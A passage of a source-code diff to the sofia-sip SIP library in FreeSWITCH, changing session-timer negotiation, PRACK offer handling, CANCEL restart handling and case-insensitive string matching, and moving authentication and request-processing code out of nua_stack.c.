+					   char const *phrase,
+					   sip_t const *sip);
 
 nua_client_methods_t const nua_cancel_client_methods = {
   SIP_METHOD_CANCEL,		/* crm_method, crm_method_name */
@@ -1437,8 +1447,8 @@
   },
   NULL,				/* crm_template */
   NULL,				/* crm_init */
-  nua_cancel_client_request,	/* crm_send */
-  NULL,				/* crm_check_restart */
+  nua_cancel_client_request,	/* .. not really crm_send */
+  nua_cancel_client_check_restart, /* crm_check_restart */
   NULL,				/* crm_recv */
   NULL,				/* crm_preliminary */
   NULL,				/* crm_report */
@@ -1478,6 +1488,16 @@
   return 0;
 }
 
+static int
+nua_cancel_client_check_restart(nua_client_request_t *cr,
+				int status,
+				char const *phrase,
+				sip_t const *sip)
+{
+  /* We cannot really restart CANCEL */
+  return 0;
+}
+
 /** @NUA_EVENT nua_r_cancel
  *
  * Answer to outgoing CANCEL.
@@ -1511,7 +1531,7 @@
 
   if (ss->ss_state >= nua_callstate_terminating ||
       /* INVITE is in progress or being authenticated */
-      (cr && (cr->cr_orq || cr->cr_wait_for_cred)))
+      nua_client_request_in_progress(cr))
     return;
 
   /* UPDATE has been queued */
@@ -1592,7 +1612,6 @@
       }
       else if (cri->cr_status < 300 && !cri->cr_acked) {
 	nua_invite_client_ack(cri, NULL);
-	nua_client_request_clean(cri);
       }
     }
     if (nua_client_create(nh, nua_r_bye, &nua_bye_client_methods, NULL) != 0)
@@ -1757,11 +1776,23 @@
   else if (nh->nh_soa == NULL) {
     offer_sent = session_get_description(sip, NULL, NULL);
   }
-  /* When 100rel response status was 183 do support for preconditions */
-  else if (ss->ss_precondition && cri->cr_status == 183 &&
-	   cri->cr_offer_sent && cri->cr_answer_recv) {
-    if (soa_generate_offer(nh->nh_soa, 0, NULL) < 0 ||
-	session_include_description(nh->nh_soa, 1, msg, sip) < 0) {
+  else {
+    /* When 100rel response status was 183 do support for preconditions */
+    int send_offer = ss->ss_precondition &&
+      cri->cr_status == 183 && cri->cr_offer_sent && cri->cr_answer_recv;
+
+    if (!send_offer) {
+      tagi_t const *t = tl_find_last(tags, nutag_include_extra_sdp);
+      send_offer = t && t->t_value;
+    }
+
+    if (!send_offer) {
+    }
+    else if (soa_generate_offer(nh->nh_soa, 0, NULL) >= 0 &&
+	     session_include_description(nh->nh_soa, 1, msg, sip) >= 0) {
+      offer_sent = 1;
+    }
+    else {
       status = soa_error_as_sip_response(nh->nh_soa, &phrase);
       SU_DEBUG_3(("nua(%p): PRACK offer: %d %s\n", (void *)nh,
 		  status, phrase));
@@ -1769,9 +1800,6 @@
 		      nua_i_media_error, status, phrase, NULL);
       return nua_client_return(cr, status, phrase, msg);
     }
-    else {
-      offer_sent = 1;
-    }
   }
 
   retval = nua_base_client_request(cr, msg, sip, NULL);
@@ -1818,7 +1846,7 @@
 
   nua_stack_event(nh->nh_nua, nh,
 		  nta_outgoing_getresponse(orq),
-		  cr->cr_event,
+		  (enum nua_event_e)cr->cr_event,
 		  status, phrase,
 		  tags);
 
@@ -1834,8 +1862,10 @@
       /* There is an un-ACK-ed INVITE there */
       assert(du->du_cr->cr_method == sip_method_invite);
       if (NH_PGET(nh, auto_ack) ||
-	  /* Auto-ACK response to re-INVITE unless auto_ack is set to 0 */
-	  (ss->ss_state == nua_callstate_ready && !NH_PISSET(nh, auto_ack))) {
+	  /* Auto-ACK response to re-INVITE when media is enabled
+	     and auto_ack is not set to 0 on handle */
+	  (ss->ss_state == nua_callstate_ready && nh->nh_soa &&
+	   !NH_PISSET(nh, auto_ack))) {
 	/* There should be no UPDATE with offer/answer
 	   if PRACK with offer/answer was ongoing! */
 	if (nua_invite_client_ack(du->du_cr, NULL) > 0)
@@ -1847,12 +1877,12 @@
       }
     }
 
-    signal_call_state_change(nh, ss, status, phrase, next_state);
+    signal_call_state_change(nh, ss, status, phrase, (enum nua_callstate)next_state);
   }
 
   if (acked &&
-      du->du_cr->cr_method == sip_method_invite &&
-      nua_client_is_queued(du->du_cr)) {
+      nua_client_is_queued(du->du_cr) &&
+      du->du_cr->cr_method == sip_method_invite) {
     /* New INVITE was queued - do not send UPDATE */
   }
   else if (ss->ss_update_needed && 200 <= status && status < 300 &&
@@ -2378,6 +2408,8 @@
   if (require == NULL && supported == NULL)
     return 0;
 
+  if (!sip_has_feature(NH_PGET(nh, supported), "100rel"))
+    return 0;
   if (sip_has_feature(require, "100rel"))
     return 1;
   if (!sip_has_feature(supported, "100rel"))
@@ -2505,6 +2537,7 @@
   nua_session_usage_t *ss = nua_dialog_usage_private(sr->sr_usage);
   msg_t *msg = nta_incoming_getrequest_ackcancel(irq);
   char const *recv = NULL;
+  int uas;
 
   if (ss == NULL)
     return 0;
@@ -2568,7 +2601,7 @@
 
   nua_stack_event(nh->nh_nua, nh, msg, nua_i_ack, SIP_200_OK, NULL);
   signal_call_state_change(nh, ss, 200, "OK", nua_callstate_ready);
-  session_timer_set(ss);
+  session_timer_set(ss, uas = 1);
 
   nua_server_request_destroy(sr);
 
@@ -2741,9 +2774,9 @@
 			 sip_t const *sip)
 {
   nua_handle_t *nh;
-  nua_dialog_usage_t *du;
 
   nta_reliable_destroy(rel);
+
   if (irq == NULL)
     /* Final response interrupted 100rel, we did not actually receive PRACK */
     return 200;
@@ -2758,8 +2791,6 @@
   if (nh->nh_ds->ds_leg == NULL)
     return 500;
 
-  du = nua_dialog_usage_for_session(nh->nh_ds);
-
   if (sip == NULL) {
     /* 100rel timeout */
     SR_STATUS(sr, 504, "Reliable Response Timeout");
@@ -3048,14 +3079,6 @@
  * @sa #nua_i_info
  */
 
-static int nua_info_client_init(nua_client_request_t *cr,
-				msg_t *msg, sip_t *sip,
-				tagi_t const *tags);
-
-static int nua_info_client_request(nua_client_request_t *cr,
-				   msg_t *msg, sip_t *sip,
-				   tagi_t const *tags);
-
 nua_client_methods_t const nua_info_client_methods = {
   SIP_METHOD_INFO,		/* crm_method, crm_method_name */
   0,				/* crm_extra */
@@ -3065,8 +3088,8 @@
     /* target refresh */ 0
   },
   NULL,				/* crm_template */
-  nua_info_client_init,		/* crm_init */
-  nua_info_client_request,	/* crm_send */
+  NULL,		/* crm_init */
+  NULL,	/* crm_send */
   NULL,				/* crm_check_restart */
   NULL,				/* crm_recv */
   NULL,				/* crm_preliminary */
@@ -3080,32 +3103,6 @@
   return nua_client_create(nh, e, &nua_info_client_methods, tags);
 }
 
-static int nua_info_client_init(nua_client_request_t *cr,
-				msg_t *msg, sip_t *sip,
-				tagi_t const *tags)
-{
-  nua_handle_t *nh = cr->cr_owner;
-  nua_dialog_usage_t *du = nua_dialog_usage_for_session(nh->nh_ds);
-  nua_session_usage_t *ss = nua_dialog_usage_private(du);
-
-  if (!ss || ss->ss_state >= nua_callstate_terminating)
-    return nua_client_return(cr, 900, "Invalid handle for INFO", msg);
-
-  cr->cr_usage = du;
-
-  return 0;
-}
-
-static int nua_info_client_request(nua_client_request_t *cr,
-				   msg_t *msg, sip_t *sip,
-				   tagi_t const *tags)
-{
-  if (cr->cr_usage == NULL)
-    return nua_client_return(cr, SIP_481_NO_TRANSACTION, msg);
-  else
-    return nua_base_client_request(cr, msg, sip, tags);
-}
-
 /** @NUA_EVENT nua_r_info
  *
  * Response to an outgoing @b INFO request.
@@ -3149,7 +3146,7 @@
     nua_i_info,			/* Event */
     {
       0,			/* Do not create dialog */
-      1,			/* In-dialog request */
+      0,			/* Allow outside dialog, too */
       0,			/* Not a target refresh request  */
       0,			/* Do not add Contact */
     },
@@ -3331,6 +3328,7 @@
   nua_handle_t *nh = cr->cr_owner;
   nua_dialog_usage_t *du = cr->cr_usage;
   nua_session_usage_t *ss = nua_dialog_usage_private(du);
+  int uas;
 
   assert(200 <= status);
 
@@ -3345,7 +3343,7 @@
 
       if (!sr && (!du->du_cr || !du->du_cr->cr_orq)) {
 	session_timer_store(ss->ss_timer, sip);
-	session_timer_set(ss);
+	session_timer_set(ss, uas = 0);
       }
     }
   }
@@ -3389,7 +3387,7 @@
 
   nua_stack_event(nh->nh_nua, nh,
 		  nta_outgoing_getresponse(orq),
-		  cr->cr_event,
+		  (enum nua_event_e)cr->cr_event,
 		  status, phrase,
 		  tags);
 
@@ -3406,17 +3404,18 @@
       assert(du->du_cr->cr_method == sip_method_invite);
 
       if (NH_PGET(nh, auto_ack) ||
-	  /* Auto-ACK response to re-INVITE unless auto_ack is set to 0 */
-	  (ss->ss_state == nua_callstate_ready && !NH_PISSET(nh, auto_ack))) {
+	  /* Auto-ACK response to re-INVITE when media is enabled
+	     and auto_ack is not set to 0 on handle */
+	  (ss->ss_state == nua_callstate_ready && nh->nh_soa &&
+	   !NH_PISSET(nh, auto_ack))) {
 	if (nua_invite_client_ack(du->du_cr, NULL) > 0)
 	  next_state = nua_callstate_ready;
 	else
 	  next_state = nua_callstate_terminating;
-	nua_client_request_clean(du->du_cr);
       }
     }
 
-    signal_call_state_change(nh, ss, status, phrase, next_state);
+    signal_call_state_change(nh, ss, status, phrase, (enum nua_callstate)next_state);
   }
 
   return 1;
@@ -3542,7 +3541,7 @@
     }
   }
 
-  if (200 <= sr->sr_status && sr->sr_status < 300) {
+  if (ss && 200 <= sr->sr_status && sr->sr_status < 300) {
     session_timer_preferences(ss->ss_timer,
 			      sip,
 			      NH_PGET(nh, supported),
@@ -3551,8 +3550,9 @@
 			      NH_PGET(nh, refresher),
 			      NH_PGET(nh, min_se));
 
-    if (ss && session_timer_is_supported(ss->ss_timer)) {
+    if (session_timer_is_supported(ss->ss_timer)) {
       nua_server_request_t *sr0;
+      int uas;
 
       session_timer_add_headers(ss->ss_timer, 0, msg, sip);
 
@@ -3561,7 +3561,7 @@
 	  break;
 
       if (!sr0 && (!sr->sr_usage->du_cr || !sr->sr_usage->du_cr->cr_orq))
-	session_timer_set(ss);
+	session_timer_set(ss, uas = 1);
     }
   }
 
@@ -3620,7 +3620,7 @@
       && NH_PGET(nh, auto_alert))  {
     nua_server_request_t *sri;
 
-    for (sri = nh->nh_ds->ds_sr; sri; sri = sr->sr_next)
+    for (sri = nh->nh_ds->ds_sr; sri; sri = sri->sr_next)
       if (sri->sr_method == sip_method_invite &&
 	  nua_server_request_is_pending(sri))
 	break;
@@ -3798,7 +3798,7 @@
 
   nua_stack_event(nh->nh_nua, nh,
 		  nta_outgoing_getresponse(orq),
-		  cr->cr_event,
+		  (enum nua_event_e)cr->cr_event,
 		  status, phrase,
 		  tags);
 
@@ -4333,9 +4333,9 @@
     if (x->x_refresher) {
       int uas = sip->sip_request != NULL;
 
-      if (strcasecmp(x->x_refresher, "uac") == 0)
+      if (su_casenmatch(x->x_refresher, "uac", (sizeof "uac")))
 	t->remote.refresher = uas ? nua_remote_refresher : nua_local_refresher;
-      else if (strcasecmp(x->x_refresher, "uas") == 0)
+      else if (su_casenmatch(x->x_refresher, "uas", (sizeof "uas")))
 	t->remote.refresher = uas ? nua_local_refresher : nua_remote_refresher;
     }
     else if (t->remote.require) {
@@ -4354,7 +4354,8 @@
 static int
 session_timer_add_headers(struct session_timer *t,
 			  int initial,
-			  msg_t *msg, sip_t *sip)
+			  msg_t *msg,
+			  sip_t *sip)
 {
   unsigned long expires, min;
   sip_min_se_t min_se[1];
@@ -4376,7 +4377,7 @@
     min = t->remote.min_se;
 
   if (uas) {
-    session_timer_negotiate(t);
+    session_timer_negotiate(t, uas = 1);
 
     refresher = t->refresher;
     expires = t->interval;
@@ -4390,10 +4391,15 @@
      */
     if (t->local.refresher == nua_local_refresher)
       refresher = nua_local_refresher;
+    else if (!initial)
+      refresher = t->refresher;
 
     expires = t->local.expires;
     if (expires != 0 && expires < min)
       expires = min;
+
+    if (expires == 0 && !initial && t->interval)
+      expires = t->interval;
   }
 
   sip_min_se_init(min_se)->min_delta = min;
@@ -4404,6 +4410,10 @@
   else if (refresher == nua_local_refresher)
     x->x_params = uas ? x_params_uas : x_params_uac;
 
+  if (expires == 0 && t->remote.min_se == 0)
+    /* Session timer is not used, do not add headers */
+    return 1;
+
   sip_add_tl(msg, sip,
 	     TAG_IF(expires != 0, SIPTAG_SESSION_EXPIRES(x)),
 	     TAG_IF(min != 0
@@ -4417,8 +4427,8 @@
   return 1;
 }
 
-static
-void session_timer_negotiate(struct session_timer *t)
+static void
+session_timer_negotiate(struct session_timer *t, int uas)
 {
   if (!t->local.supported)
     t->refresher = nua_no_refresher;
@@ -4428,10 +4438,12 @@
     t->refresher = nua_local_refresher;
   else if (t->remote.refresher == nua_remote_refresher)
     t->refresher = nua_remote_refresher;
-  else if (t->local.refresher == nua_local_refresher)
+  else if (uas)
+    /* UAS defaults UAC to refreshing */
+    t->refresher = nua_remote_refresher;
+  else
+    /* UAC refreshes by itself */
     t->refresher = nua_local_refresher;
-  else
-    t->refresher = nua_remote_refresher;
 
   t->interval = t->remote.expires;
   if (t->interval == 0)
@@ -4453,7 +4465,7 @@
 }
 
 static void
-session_timer_set(nua_session_usage_t *ss)
+session_timer_set(nua_session_usage_t *ss, int uas)
 {
   nua_dialog_usage_t *du = nua_dialog_usage_public(ss);
   struct session_timer *t;
@@ -4463,7 +4475,7 @@
 
   t = ss->ss_timer;
 
-  session_timer_negotiate(t);
+  session_timer_negotiate(t, uas);
 
   if (t->refresher == nua_local_refresher) {
     unsigned low = t->interval / 2, high = t->interval / 2;
@@ -4526,7 +4538,7 @@
   else if (ct->c_type == NULL)
     SU_DEBUG_3(("nua: empty %s, assuming %s\n",
 		"Content-Type", SDP_MIME_TYPE));
-  else if (strcasecmp(ct->c_type, SDP_MIME_TYPE)) {
+  else if (!su_casematch(ct->c_type, SDP_MIME_TYPE)) {
     SU_DEBUG_5(("nua: unknown %s: %s\n", "Content-Type", ct->c_type));
     return 0;
   }
@@ -4538,7 +4550,7 @@
 
   if (!matching_content_type) {
     /* Make sure we got SDP */
-    if (pl->pl_len < 3 || strncasecmp(pl->pl_data, "v=0", 3))
+    if (pl->pl_len < 3 || !su_casenmatch(pl->pl_data, "v=0", 3))
       return 0;
   }
 

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_stack.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_stack.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/nua_stack.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -46,7 +46,6 @@
 
 #define SU_ROOT_MAGIC_T   struct nua_s
 #define SU_MSG_ARG_T      struct nua_ee_data
-#define SU_TIMER_ARG_T    struct nua_client_request
 
 #define NUA_SAVED_EVENT_T su_msg_t *
 #define NUA_SAVED_SIGNAL_T su_msg_t *
@@ -88,12 +87,6 @@
 /* ---------------------------------------------------------------------- */
 /* Internal types */
 
-/** Extended event data. */
-typedef struct nua_ee_data {
-  nua_t *ee_nua;
-  nua_event_data_t ee_data[1];
-} nua_ee_data_t;
-
 /** @internal Linked stack frames from nua event callback */
 struct nua_event_frame_s {
   nua_event_frame_t *nf_next;
@@ -109,13 +102,8 @@
 static void nh_append(nua_t *nua, nua_handle_t *nh);
 static void nh_remove(nua_t *nua, nua_handle_t *nh);
 
-static int nh_authorize(nua_handle_t *nh,
-			tag_type_t tag, tag_value_t value, ...);
-
 static void nua_stack_timer(nua_t *nua, su_timer_t *t, su_timer_arg_t *a);
 
-static int nua_client_request_complete(nua_client_request_t *cr);
-
 /* ---------------------------------------------------------------------- */
 /* Constant data */
 
@@ -385,7 +373,7 @@
   }
   else if (!nh->nh_valid) {	/* Handle has been destroyed */
     if (nua_log->log_level >= 7) {
-      char const *name = nua_event_name(e->e_event) + 4;
+      char const *name = nua_event_name((enum nua_event_e)e->e_event) + 4;
       SU_DEBUG_7(("nua(%p): event %s dropped\n", (void *)nh, name));
     }
     nua_handle_unref(nh);
@@ -402,7 +390,7 @@
     su_msg_save(frame->nf_saved, sumsg);
     frame->nf_next = nua->nua_current, nua->nua_current = frame;
 
-    nua->nua_callback(e->e_event, e->e_status, e->e_phrase,
+    nua->nua_callback((enum nua_event_e)e->e_event, e->e_status, e->e_phrase,
 		      nua, nua->nua_magic,
 		      nh, nh ? nh->nh_magic : NULL,
 		      e->e_msg ? sip_object(e->e_msg) : NULL,
@@ -556,7 +544,7 @@
   }
 
   if (nua_log->log_level >= 5) {
-    char const *name = nua_event_name(e->e_event);
+    char const *name = nua_event_name((enum nua_event_e)e->e_event);
 
     if (e->e_status == 0)
       SU_DEBUG_5(("nua(%p): %s signal %s\n", (void *)nh, "recv", name + 4));
@@ -568,7 +556,7 @@
 
   su_msg_save(nua->nua_signal, msg);
 
-  event = e->e_event;
+  event = (enum nua_event_e)e->e_event;
 
   if (nua->nua_shutdown && !e->e_always) {
     /* Shutting down */
@@ -925,7 +913,7 @@
 void nua_stack_destroy_handle(nua_t *nua, nua_handle_t *nh, tagi_t const *tags)
 {
   if (nh->nh_notifier)
-    nua_stack_terminate(nua, nh, 0, NULL);
+    nua_stack_terminate(nua, nh, (enum nua_event_e)0, NULL);
 
   nua_dialog_shutdown(nh, nh->nh_ds);
 
@@ -983,35 +971,6 @@
 
 /* ======================================================================== */
 
-/**@internal
- * Save handle parameters and initial authentication info.
- *
- * @retval -1 upon an error
- * @retval 0 when successful
- */
-int nua_stack_init_handle(nua_t *nua, nua_handle_t *nh, tagi_t const *tags)
-{
-  int retval = 0;
-
-  if (nh == NULL)
-    return -1;
-
-  assert(nh != nua->nua_dhandle);
-
-  if (nua_stack_set_params(nua, nh, nua_i_error, tags) < 0)
-    retval = -1;
-
-  if (retval || nh->nh_init) /* Already initialized? */
-    return retval;
-
-  if (nh->nh_tags)
-    nh_authorize(nh, TAG_NEXT(nh->nh_tags));
-
-  nh->nh_init = 1;
-
-  return 0;
-}
-
 /** @internal Create a handle for processing incoming request */
 nua_handle_t *nua_stack_incoming_handle(nua_t *nua,
 					nta_incoming_t *irq,
@@ -1132,2210 +1091,3 @@
   }
   return NULL;
 }
-
-/** @internal Add authorization data */
-int nh_authorize(nua_handle_t *nh, tag_type_t tag, tag_value_t value, ...)
-{
-  int retval = 0;
-  tagi_t const *ti;
-  ta_list ta;
-
-  ta_start(ta, tag, value);
-
-  for (ti = ta_args(ta); ti; ti = tl_next(ti)) {
-    if (ti->t_tag == nutag_auth && ti->t_value) {
-      char *data = (char *)ti->t_value;
-      int rv = auc_credentials(&nh->nh_auth, nh->nh_home, data);
-
-      if (rv > 0) {
-	retval = 1;
-      }
-      else if (rv < 0) {
-	retval = -1;
-	break;
-      }
-    }
-  }
-
-  ta_end(ta);
-
-  return retval;
-}
-
-su_inline
-int can_redirect(sip_contact_t const *m, sip_method_t method)
-{
-  if (m && m->m_url->url_host) {
-    enum url_type_e type = m->m_url->url_type;
-    return
-      type == url_sip ||
-      type == url_sips ||
-      (type == url_tel &&
-       (method == sip_method_invite || method == sip_method_message)) ||
-      (type == url_im && method == sip_method_message) ||
-      (type == url_pres && method == sip_method_subscribe);
-  }
-  return 0;
-}
-
-/* ======================================================================== */
-/* Authentication */
-
-/** @NUA_EVENT nua_r_authenticate
- *
- * Response to nua_authenticate(). Under normal operation, this event is
- * never sent but rather the unauthenticated operation is completed.
- * However, if there is no operation to authentication or if there is an
- * authentication error the #nua_r_authenticate event is sent to the
- * application with the status code as follows:
- * - <i>202 No operation to restart</i>:\n
- *   The authenticator associated with the handle was updated, but there was
- *   no operation to retry with the new credentials.
- * - <i>900 Cannot add credentials</i>:\n
- *   There was internal problem updating authenticator.
- * - <i>904 No matching challenge</i>:\n
- *   There was no challenge matching with the credentials provided by
- *   nua_authenticate(), e.g., their realm did not match with the one
- *   received with the challenge.
- *
- * @param status status code from authentication
- * @param phrase a short textual description of @a status code
- * @param nh     operation handle authenticated
- * @param hmagic application context associated with the handle
- * @param sip    NULL
- * @param tags   empty
- *
- * @sa nua_terminate(), nua_handle_destroy()
- *
- * @END_NUA_EVENT
- */
-
-void
-nua_stack_authenticate(nua_t *nua, nua_handle_t *nh, nua_event_t e,
-		       tagi_t const *tags)
-{
-  nua_client_request_t *cr = nh->nh_ds->ds_cr;
-  int status = nh_authorize(nh, TAG_NEXT(tags));
-
-  if (status > 0) {
-    if (cr && cr->cr_wait_for_cred) {
-      cr->cr_waiting = cr->cr_wait_for_cred = 0;
-      nua_client_restart_request(cr, cr->cr_terminating, tags);
-    }
-    else {
-      nua_stack_event(nua, nh, NULL, e,
-		      202, "No operation to restart",
-		      NULL);
-    }
-  }
-  else if (cr && cr->cr_wait_for_cred) {
-    cr->cr_waiting = cr->cr_wait_for_cred = 0;
-
-    if (status < 0)
-      nua_client_response(cr, 900, "Operation cannot add credentials", NULL);
-    else
-      nua_client_response(cr, 904, "Operation has no matching challenge ", NULL);
-  }
-  else if (status < 0) {
-    nua_stack_event(nua, nh, NULL, e, 900, "Cannot add credentials", NULL);
-  }
-  else {
-    nua_stack_event(nua, nh, NULL, e, 904, "No matching challenge", NULL);
-  }
-}
-
-
-/* ======================================================================== */
-/*
- * Process incoming requests
- */
-
-nua_server_methods_t const *nua_server_methods[] = {
-  /* These must be in same order as in sip_method_t */
-  &nua_extension_server_methods,
-  &nua_invite_server_methods,	/**< INVITE */
-  NULL,				/**< ACK */
-  NULL,				/**< CANCEL */
-  &nua_bye_server_methods,	/**< BYE */
-  &nua_options_server_methods,	/**< OPTIONS */
-  &nua_register_server_methods,	/**< REGISTER */
-  &nua_info_server_methods,	/**< INFO */
-  &nua_prack_server_methods,	/**< PRACK */
-  &nua_update_server_methods,	/**< UPDATE */
-  &nua_message_server_methods,	/**< MESSAGE */
-  &nua_subscribe_server_methods,/**< SUBSCRIBE */
-  &nua_notify_server_methods,	/**< NOTIFY */
-  &nua_refer_server_methods,	/**< REFER */
-  &nua_publish_server_methods,	/**< PUBLISH */
-  NULL
-};
-
-
-int nua_stack_process_request(nua_handle_t *nh,
-			      nta_leg_t *leg,
-			      nta_incoming_t *irq,
-			      sip_t const *sip)
-{
-  nua_t *nua = nh->nh_nua;
-  sip_method_t method = sip->sip_request->rq_method;
-  char const *name = sip->sip_request->rq_method_name;
-  nua_server_methods_t const *sm;
-  nua_server_request_t *sr, sr0[1];
-  int status, initial = 1;
-  int create_dialog;
-
-  char const *user_agent = NH_PGET(nh, user_agent);
-  sip_supported_t const *supported = NH_PGET(nh, supported);
-  sip_allow_t const *allow = NH_PGET(nh, allow);
-
-  enter;
-
-  nta_incoming_tag(irq, NULL);
-
-  if (method == sip_method_cancel)
-    return 481;
-
-  /* Hook to outbound */
-  if (method == sip_method_options) {
-    status = nua_registration_process_request(nua->nua_registrations,
-					      irq, sip);
-    if (status)
-      return status;
-  }
-
-  if (nta_check_method(irq, sip, allow,
-		       SIPTAG_SUPPORTED(supported),
-		       SIPTAG_USER_AGENT_STR(user_agent),
-		       TAG_END()))
-    return 405;
-
-  switch (sip->sip_request->rq_url->url_type) {
-  case url_sip:
-  case url_sips:
-  case url_im:
-  case url_pres:
-  case url_tel:
-    break;
-  default:
-    nta_incoming_treply(irq, status = SIP_416_UNSUPPORTED_URI,
-			SIPTAG_ALLOW(allow),
-			SIPTAG_SUPPORTED(supported),
-			SIPTAG_USER_AGENT_STR(user_agent),
-			TAG_END());
-    return status;
-  }
-
-  if (nta_check_required(irq, sip, supported,
-			 SIPTAG_ALLOW(allow),
-			 SIPTAG_USER_AGENT_STR(user_agent),
-			 TAG_END()))
-    return 420;
-
-  if (method > sip_method_unknown && method <= sip_method_publish)
-    sm = nua_server_methods[method];
-  else
-    sm = nua_server_methods[0];
-
-  initial = nh == nua->nua_dhandle;
-
-  if (sm == NULL) {
-    SU_DEBUG_1(("nua(%p): strange %s from <" URL_PRINT_FORMAT ">\n",
-		(void *)nh, sip->sip_request->rq_method_name,
-		URL_PRINT_ARGS(sip->sip_from->a_url)));
-  }
-  else if (initial && sm->sm_flags.in_dialog) {
-    /* These must be in-dialog */
-    sm = NULL;
-  }
-  else if (initial && sip->sip_to->a_tag) {
-    /* RFC 3261 section 12.2.2:
-
-       If the UAS wishes to reject the request because it does not wish to
-       recreate the dialog, it MUST respond to the request with a 481
-       (Call/Transaction Does Not Exist) status code and pass that to the
-       server transaction.
-    */
-    if (method == sip_method_info)
-      /* accept out-of-dialog info */; else
-    if (method != sip_method_message || !NH_PGET(nh, win_messenger_enable))
-      sm = NULL;
-  }
-
-  if (!sm) {
-    nta_incoming_treply(irq,
-			status = 481, "Call Does Not Exist",
-			SIPTAG_ALLOW(allow),
-			SIPTAG_SUPPORTED(supported),
-			SIPTAG_USER_AGENT_STR(user_agent),
-			TAG_END());
-    return 481;
-  }
-
-  create_dialog = sm->sm_flags.create_dialog;
-  if (method == sip_method_message && NH_PGET(nh, win_messenger_enable))
-    create_dialog = 1;
-  sr = memset(sr0, 0, (sizeof sr0));
-
-  sr->sr_methods = sm;
-  sr->sr_method = method = sip->sip_request->rq_method;
-  sr->sr_add_contact = sm->sm_flags.add_contact;
-  sr->sr_target_refresh = sm->sm_flags.target_refresh;
-
-  sr->sr_owner = nh;
-  sr->sr_initial = initial;
-
-  sr->sr_irq = irq;
-
-  SR_STATUS1(sr, SIP_100_TRYING);
-
-  sr->sr_request.msg = nta_incoming_getrequest(irq);
-  sr->sr_request.sip = sip;
-  assert(sr->sr_request.msg);
-
-  sr->sr_response.msg = nta_incoming_create_response(irq, 0, NULL);
-  sr->sr_response.sip = sip_object(sr->sr_response.msg);
-
-  if (sr->sr_response.msg == NULL) {
-    SR_STATUS1(sr, SIP_500_INTERNAL_SERVER_ERROR);
-  }
-  else if (sm->sm_init && sm->sm_init(sr)) {
-    if (sr->sr_status < 200)    /* Init may have set response status */
-      SR_STATUS1(sr, SIP_500_INTERNAL_SERVER_ERROR);
-  }
-  /* Create handle if request does not fail */
-  else if (initial && sr->sr_status < 300) {
-    if ((nh = nua_stack_incoming_handle(nua, irq, sip, create_dialog)))
-      sr->sr_owner = nh;
-    else
-      SR_STATUS1(sr, SIP_500_INTERNAL_SERVER_ERROR);
-  }
-
-  if (sr->sr_status < 300 && sm->sm_preprocess && sm->sm_preprocess(sr)) {
-    if (sr->sr_status < 200)    /* Set response status if preprocess did not */
-      SR_STATUS1(sr, SIP_500_INTERNAL_SERVER_ERROR);
-  }
-
-  if (sr->sr_status < 300) {
-    if (sr->sr_target_refresh)
-      nua_dialog_uas_route(nh, nh->nh_ds, sip, 1); /* Set route and tags */
-    nua_dialog_store_peer_info(nh, nh->nh_ds, sip);
-  }
-
-  if (sr->sr_status == 100 && method != sip_method_unknown &&
-      !sip_is_allowed(NH_PGET(sr->sr_owner, appl_method), method, name)) {
-    if (method == sip_method_refer || method == sip_method_subscribe)
-      SR_STATUS1(sr, SIP_202_ACCEPTED);
-    else
-      SR_STATUS1(sr, SIP_200_OK);
-  }
-
-  /* INVITE server request is not finalized after 2XX response */
-  if (sr->sr_status < (method == sip_method_invite ? 300 : 200)) {
-    sr = su_alloc(nh->nh_home, (sizeof *sr));
-
-    if (sr) {
-      *sr = *sr0;
-
-      if ((sr->sr_next = nh->nh_ds->ds_sr))
-	*(sr->sr_prev = sr->sr_next->sr_prev) = sr,
-	  sr->sr_next->sr_prev = &sr->sr_next;
-      else
-	*(sr->sr_prev = &nh->nh_ds->ds_sr) = sr;
-    }
-    else {
-      sr = sr0;
-      SR_STATUS1(sr, SIP_500_INTERNAL_SERVER_ERROR);
-    }
-  }
-
-  if (sr->sr_status <= 100) {
-    SR_STATUS1(sr, SIP_100_TRYING);
-    if (method == sip_method_invite || sip->sip_timestamp) {
-      nta_incoming_treply(irq, SIP_100_TRYING,
-			  SIPTAG_USER_AGENT_STR(user_agent),
-			  TAG_END());
-    }
-  }
-  else {
-    /* Note that this may change the sr->sr_status */
-    nua_server_respond(sr, NULL);
-  }
-
-  if (nua_server_report(sr) == 0)
-    return 0;
-
-  return 501;
-}
-
-#undef nua_base_server_init
-#undef nua_base_server_preprocess
-
-int nua_base_server_init(nua_server_request_t *sr)
-{
-  return 0;
-}
-
-int nua_base_server_preprocess(nua_server_request_t *sr)
-{
-  return 0;
-}
-
-void nua_server_request_destroy(nua_server_request_t *sr)
-{
-  if (sr == NULL)
-    return;
-
-  if (SR_HAS_SAVED_SIGNAL(sr))
-    nua_destroy_signal(sr->sr_signal);
-
-  if (sr->sr_irq)
-    nta_incoming_destroy(sr->sr_irq), sr->sr_irq = NULL;
-
-  if (sr->sr_request.msg)
-    msg_destroy(sr->sr_request.msg), sr->sr_request.msg = NULL;
-
-  if (sr->sr_response.msg)
-    msg_destroy(sr->sr_response.msg), sr->sr_response.msg = NULL;
-
-  if (sr->sr_prev) {
-    /* Allocated from heap */
-    if ((*sr->sr_prev = sr->sr_next))
-      sr->sr_next->sr_prev = sr->sr_prev;
-    su_free(sr->sr_owner->nh_home, sr);
-  }
-}
-
-/**@fn void nua_respond(nua_handle_t *nh, int status, char const *phrase, tag_type_t tag, tag_value_t value, ...);
- *
- * Respond to a request with given status code and phrase.
- *
- * The stack returns a SIP response message with given status code and
- * phrase to the client. The tagged parameter list can specify extra headers
- * to include with the response message and other stack parameters. The SIP
- * session or other protocol state associated with the handle is updated
- * accordingly (for instance, if an initial INVITE is responded with 200, a
- * SIP session is established.)
- *
- * When responding to an incoming INVITE request, the nua_respond() can be
- * called without NUTAG_WITH() (or NUTAG_WITH_CURRENT() or
- * NUTAG_WITH_SAVED()). Otherwise, NUTAG_WITH() will contain an indication
- * of the request being responded.
- *
- * @param nh              Pointer to operation handle
- * @param status          SIP response status code (see RFCs of SIP)
- * @param phrase          free text (default response phrase is used if NULL)
- * @param tag, value, ... List of tagged parameters
- *
- * @return
- *    nothing
- *
- * @par Responses by Protocol Engine
- *
- * When nua protocol engine receives an incoming SIP request, it can either
- * respond to the request automatically or let application to respond to the
- * request. The automatic response is returned to the client if the request
